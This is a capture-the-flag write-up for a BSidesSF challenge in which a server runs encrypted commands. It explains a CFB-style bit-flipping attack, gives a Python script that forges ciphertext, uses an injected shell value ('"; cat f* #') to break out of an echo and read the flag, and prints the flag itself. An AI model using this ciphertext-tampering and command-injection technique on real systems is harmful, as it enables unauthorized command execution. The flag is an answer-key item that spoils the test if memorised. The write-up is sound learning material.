In this challenge, we are given a server which accepts encrypted commands and returns the resulting output. First we define our oracle go(cmd)
.
import urllib2 def go(cmd): return urllib2.urlopen('http://delphi-status-e606c556.ctf.bsidessf.net/execute/' + cmd).read()
This simply return the status from the server. It is common for this kind of CTF challenges to use some block-cipher variant such as some of the AES modes.
The first guess I had was that AES-CBC was being used. That would mean that if we try to flip some bit in a block somewhere in the middle of the ciphertext, the first decrypted part would remain intact, whilst the trailing blocks would get scrambled.
Assume that we have four ciphertext blocks
and the decryption is .
Now, we flip a bit in
so that we get ,
then we have . (This is not true, thanks to hellman for pointing that out in the comments).
Turns out this is not the case. In fact, the error did only propagate one block and not further, i.e.,. Having a look at the Wikipedia page, I found that this is how AES-CFB/(CBC) would behave (image from Wikipedia):
Since , we can inject some data into the decrypted ciphertext! Assume that we want
. Then, we can set
, since then
. Embodying the above in Python, we might get something like
def xor(a, b): return ''.join(chr(ord(x) ^ ord(y)) for x, y in zip(a, b)) cmd = '8d40ab447609a876f9226ba5983275d1ad1b46575784725dc65216d1739776fdf8ac97a8d0de4b7dd17ee4a33f85e71d5065a02296783e6644d44208237de9175abed53a8d4dc4b5377ffa268ea1e9af5f1eca7bb9bfd93c799184c3e0546b3ad5e900e5045b729de2301d66c3c69327' response = ' to test multiple-block patterns' # the block we attack split_blocks = [cmd[i * 32: i * 32 + 32] for i in range(len(cmd) / 32)] block = 3 # this is somewhat arbitrary # get command and pad it with blank space append_cmd = ' some command' append_cmd = append_cmd + '\x20' * (16 - len(append_cmd)) new_block = xor(split_blocks[block].decode("hex"), response).encode('hex') new_block = xor(new_block.decode("hex"), append_cmd).encode('hex') split_blocks[block] = new_block cmd = ''.join(split_blocks) #print cmd print go(cmd)
We can verify that this works. Running the server, we get
This is a longer string th\x8a\r\xe4\xd9.\n\xde\x86\xb6\xbd*\xde\xf8X\x15I some command e-block patterns\n
OK, so the server accepts it. Nice. Can we exploit this? Obviously — yes. We can guess that the server does something like
echo "{input string}";
First, we break off the echo statement. Then we try to cat
the flag and comment out the rest. We can do this in one block! Here is how:
append_cmd = '\"; cat f* #'
Then, the server code becomes
echo "{partial + garbage}"; cat f* #{more string}";
The server gives the following response:
This is a longer string th:\xd7\xb1\xe8\xc2Q\xd7\xe8*\x02\xe8\xe8\x9c\xa6\xf71\n FLAG:a1cf81c5e0872a7e0a4aec2e8e9f74c3\n
Indeed, this is the flag. So, we are done!